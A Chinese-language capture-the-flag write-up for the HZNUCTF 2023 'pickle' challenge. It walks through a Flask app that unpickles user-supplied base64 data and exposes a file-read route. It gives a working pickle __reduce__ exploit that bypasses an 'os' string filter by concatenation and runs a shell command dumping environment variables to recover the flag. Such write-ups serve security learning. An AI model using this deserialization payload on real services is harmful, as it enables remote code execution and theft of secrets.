[HZNUCTF 2023 preliminary]pickle
点开之后源码如下:
import base64
import pickle
from flask import Flask, requestapp = Flask(__name__)@app.route('/')
def index():with open('app.py', 'r') as f:return f.read()@app.route('/calc', methods=['GET'])
def getFlag():payload = request.args.get("payload")pickle.loads(base64.b64decode(payload).replace(b'os', b''))return "ganbadie!"@app.route('/readFile', methods=['GET'])
def readFile():filename = request.args.get('filename').replace("flag", "????")with open(filename, 'r') as f:return f.read()if __name__ == '__main__':app.run(host='0.0.0.0')
接着我们对代码进行分析:
base64:用于进行 Base64 编码和解码操作。
pickle:Python 的对象序列化和反序列化模块,可以将 Python 对象转换为字节流进行存储或传输,也可以从字节流中恢复对象。
Flask:一个轻量级的 Web 应用框架,用于快速构建 Web 应用程序。
request:用于处理 Flask 应用中的 HTTP 请求数据。
- / 路由:
@app.route('/')
def index():with open('app.py', 'r') as f:return f.read()
这个路由函数在用户访问根路径(/)时被调用。它打开当前目录下的 app.py 文件,并读取文件内容返回给客户端。
- calc 路由:
@app.route('/calc', methods=['GET'])
def getFlag():payload = request.args.get("payload")pickle.loads(base64.b64decode(payload).replace(b'os', b''))return "ganbadie!"
这个路由函数响应 GET 请求到 /calc 路径。它从请求的参数中获取名为 payload 的值,然后对这个值进行以下操作:
首先使用 base64.b64decode 对 payload 进行 Base64 解码。
接着使用 .replace(b’os’, b’') 将解码后的字节串中的 os 替换为空字节串。
最后使用 pickle.loads 尝试反序列化处理后的字节串。如果这个字节串不是合法的序列化对象,或者在反序列化过程中出现问题,可能会引发错误。最后返回字符串 “ganbadie!”。
- /readFile 路由:
@app.route('/readFile', methods=['GET'])
def readFile():filename = request.args.get('filename').replace("flag", "????")with open(filename, 'r') as f:return f.read()
这个路由函数响应 GET 请求到 /readFile 路径。它从请求的参数中获取名为 filename 的值,然后将这个值中的 “flag” 替换为 “???”。接着尝试打开这个文件名对应的文件进行读取,并将文件内容返回给客户端。如果文件名不合法或者文件不存在,可能会引发错误。
if __name__ == '__main__':app.run(host='0.0.0.0')
这部分代码确保只有当脚本直接运行时才会启动 Flask 应用。app.run(host=‘0.0.0.0’) 表示应用将在所有网络接口上监听请求。
这里用os字符串拼接绕过:
import pickle
import base64 class rayi(object):
def __reduce__(self):
#return eval,("__import__('o'+'s').system('ls / | tee a')",)
return eval,("__import__('o'+'s').system('env | tee a')",) a=rayi()
print(pickle.dumps(a))
print(base64.b64encode(pickle.dumps(a)))
def reduce(self):定义了特殊方法__reduce__。这个方法在对象被pickle模块序列化时会被调用。它应该返回一个可调用对象和一个参数元组,用于在反序列化时重建对象。
return eval,(“import(‘o’+‘s’).system(‘env | tee a’)”,):这里返回一个元组,包含两个元素。
运行代码之后得到:
然后我们构造payload:
/readFile?filename=a
运行之后得到:
假的flag ,接着我们在环境变量中成功找到flag